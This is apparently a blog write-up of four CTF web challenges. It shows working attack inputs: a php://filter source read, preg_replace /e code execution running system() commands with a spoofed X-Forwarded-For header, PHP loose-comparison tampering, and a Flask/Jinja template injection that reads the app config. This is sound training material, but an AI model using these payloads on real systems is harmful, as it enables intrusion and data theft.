Write-Up CTF-web刷题 Sherlock 2024-08-09 2024-10-18 Cat 首先打开题目环境,发现是如下的输入框
尝试输入127.0.0.1,回显如下
发现是get传参,输入ip后会ping一下
最开始以为是ssrf相关漏洞,尝试后发现并不是,那么应该就是跟ping相关的了
输入:127.0.0.1;ls
,结果回显Invalid URL
那应该就是有字符过滤的了,掏出sqli_fuzz字典开始fuzz
结果发现当输入%a0的时候页面会直接会显出代码
一个html文件,将其代码复制后再打开
用游览器打开以后最底下可以看到一串提示:You’re seeing this error because you have DEBUG = True in your Django settings file. Change that to False, and Django will display a standard page generated by the handler for this status code.
也就是说,True in your Django settings file.有可能flag文件在 settings file 中。 关键词搜索flag无果,查找数据库
将这个链接直接复制到输入框中,回车,无果
搜索一番,还是没有发现,只能去看其他大佬的文档,发现了@有关,php中curl函数@的作用PHP中curl的CURLOPT_POSTFIELDS参数使用细节 - 52php - 博客园
1 使用数组提供 post 数据时,CURL 组件大概是为了兼容 @filename 这种上传文件的写法,默认把 content_type 设为了 multipart/form-data。虽然对于大多数服务器并没有影响,但是还是有少部分服务器不兼容。
所以我们在该链接之前加个@,回显如下
关键词搜索ctf,得到flag,题目解决
ics-05 打开环境,进入之后到处点击发现只有设备维护中心可以点进去,并且当我们再次点击该标题的时候url发生了改变
可以发现page的参数会回显回来,当我们输入index.php的时候回显ok
那么让我们来尝试读取一下该文件:/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
将回显的一大串base64编码后的数据复制解码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 <?php error_reporting (0 );@session_start (); posix_setuid (1000 );?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" > <meta name="renderer" content="webkit" > <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" > <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" > <link rel="stylesheet" href="layui/css/layui.css" media="all" > <title>设备维护中心</title> <meta charset="utf-8" > </head> <body> <ul class ="layui -nav "> <li class ="layui -nav -item layui -this "><a href ="?page =index ">云平台设备维护中心</a ></li > </ul > <fieldset class ="layui -elem -field layui -field -title " style ="margin -top : 30px ;"> <legend >设备列表</legend > </fieldset > <table class ="layui -hide " id ="test "></table > <script type ="text /html " id ="switchTpl "> <!-- 这里的 checked 的状态只是演示 --> <input type ="checkbox " name ="sex " value =" {{d.id}}" lay-skin=" switch " lay-text=" 开|关" lay-filter=" checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src=" layui/layui.js" charset=" utf-8 "></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET [page];if (isset($page )) { if (ctype_alnum($page )) { ?> <br /><br /><br /><br /> <div style=" text-align:center"> <p class=" lead"><?php echo $page ; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div style=" text-align:center"> <p class=" lead"> <?php if (strpos($page , 'input') > 0) { die(); } if (strpos($page , 'ta:text') > 0) { die(); } if (strpos($page , 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page ); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER ['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo " <br >Welcome My Admin ! <br >"; $pattern = $_GET [pat]; $replacement = $_GET [rep]; $subject = $_GET [sub]; if (isset($pattern ) && isset($replacement ) && isset($subject )) { preg_replace($pattern , $replacement , $subject ); }else{ die(); } } ?> </body> </html>
很明显上面这么多的代码重点就在于最后的preg_replace函数这里,所以上网搜了搜有没有相关的漏洞:https://www.sqlsec.com/2020/07/preg_replace.html#%E5%9C%BA%E6%99%AF1-%E6%97%A0%E9%99%90%E5%88%B6%E4%BC%A0%E5%8F%82
发现我们可以利用修饰符/e来进行代码执行
/index.php?pat=/233/e&rep=phpinfo()&sub=233
成功执行
执行寻找相关flag文件的代码:/index.php?pat=/233/e&rep=system('find / -name "flag"')&sub=233
找到的是个目录,下面还有文件
读取我们所需的flag文件:/index.php?pat=/233/e&rep=system('tac /var/www/html/s3chahahaDir/flag/flag.php')&sub=233
Lottery 进入环境后可以发现该题是通过猜数字来获得奖金,攒够奖金后再用钱去购买flag
当然单纯靠玩是肯定拿不到那么多钱的,所以我们就必须看看是猜数字部分存在漏洞还是购买部分存在漏洞
题目给了附件,我们先去审计一下代码
可以发现相关的比较重要的文件就只有一个api.php
通过审计该文件可以发现玩家的金钱数量是存在session中的,无法直接更改,而购买flag的代码也没任何漏洞
我们再转去看函数buy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function buy ($req ) { require_registered (); require_min_money (2 ); $money = $_SESSION ['money' ]; $numbers = $req ['numbers' ]; $win_numbers = random_win_nums (); $same_count = 0 ; for ($i =0 ; $i <7 ; $i ++){ if ($numbers [$i ] == $win_numbers [$i ]){ $same_count ++; } } switch ($same_count ) { case 2 : $prize = 5 ; break ; case 3 : $prize = 20 ; break ; case 4 : $prize = 300 ; break ; case 5 : $prize = 1800 ; break ; case 6 : $prize = 200000 ; break ; case 7 : $prize = 5000000 ; break ; default : $prize = 0 ; break ; } $money += $prize - 2 ; $_SESSION ['money' ] = $money ; response (['status' =>'ok' ,'numbers' =>$numbers , 'win_numbers' =>$win_numbers , 'money' =>$money , 'prize' =>$prize ]); }
可以看出来该部分验证猜测数字是否正确用的是弱比较,而这是存在着漏洞的
===
比较两个变量的值和类型;==
比较两个变量的值,不比较数据类型。
在php中,如果bool和”任何其他类型”比较,”任何其他类型”会转换为bool。
在PHP中当转换为 boolean 时,以下值被认为是 FALSE : (1) 布尔值 FALSE 本身 (2) 整型值 0(零) (3)浮点型值 0.0(零) (4)空字符串,以及字符串 “0” (5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true) (6)不包括任何成员变量的对象(仅 PHP 4.0 适用) (7)特殊类型 NULL(包括尚未赋值的变量) (8)从空标记生成的 SimpleXML 对象 (9)所有其它值包括-1都被认为是 TRUE (包括任何资源) 所以我们只要拦截相对应的响应包,更改上传的json数据即可,如下
这样子发送两次我们便有足够的钱来购买flag了,题目解决
shrine 直接访问,给出源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/' ) def index (): with open (__file__) as f: return f.read() @app.route('/shrine/' ) def shrine (shrine ): def safe_jinja (s: str ) -> str : """对输入字符串进行简单过滤以防止模板注入攻击。""" s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join([f'{{% set {c} = None %}}' for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
源码中app.config['FLAG'] = os.environ.pop('FLAG')
提示flag
在配置文件中,但有WAF
;题目仍旧是flask
框架,主要考点在shrine
的限制函数,过滤了括号,还有黑名单
在config
没有过滤的情况下,可以直接传入config
获取设置信息;如果config
被ban
,还可以使用self.dict
获取信息;但现在二者都被ban
掉了,这个时候为获取信息, 仍需要用到一些变量或者函数,但是此时还过滤了括号,所以只能选在使用内置函数进行查询。
在带佬的wp引领下了解到python有两个此处可用的内置函数:url_for
和get_flashed_message
通过这两个函数,来查询现在app
内的全局变量。(get_flashed_messages
函数返回之前在Flask中通过flash()
传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages()
方法取出,闪现信息只能取出一次,取出后闪现信息会被清空。)
1 2 3 4 5 6 7 8 {'find_package' : <function find_package at 0x7feca7eea140 >, '_find_package_path' : <function _find_package_path at 0x7feca7eea0c8 >, 'get_load_dotenv' : <function get_load_dotenv at 0x7feca7ee2a28 >, '_PackageBoundObject' : <class 'flask.helpers._PackageBoundObject' >, 'current_app' : <Flask 'app' >, ......
在第五行看到current_app
变量,且提示对应的就是当前app
,查看当前config
试试
1 2 3 4 5 6 <Config { ...... 'FLAG' : 'flag{Tr0jAn_V1rU4}' , ......}>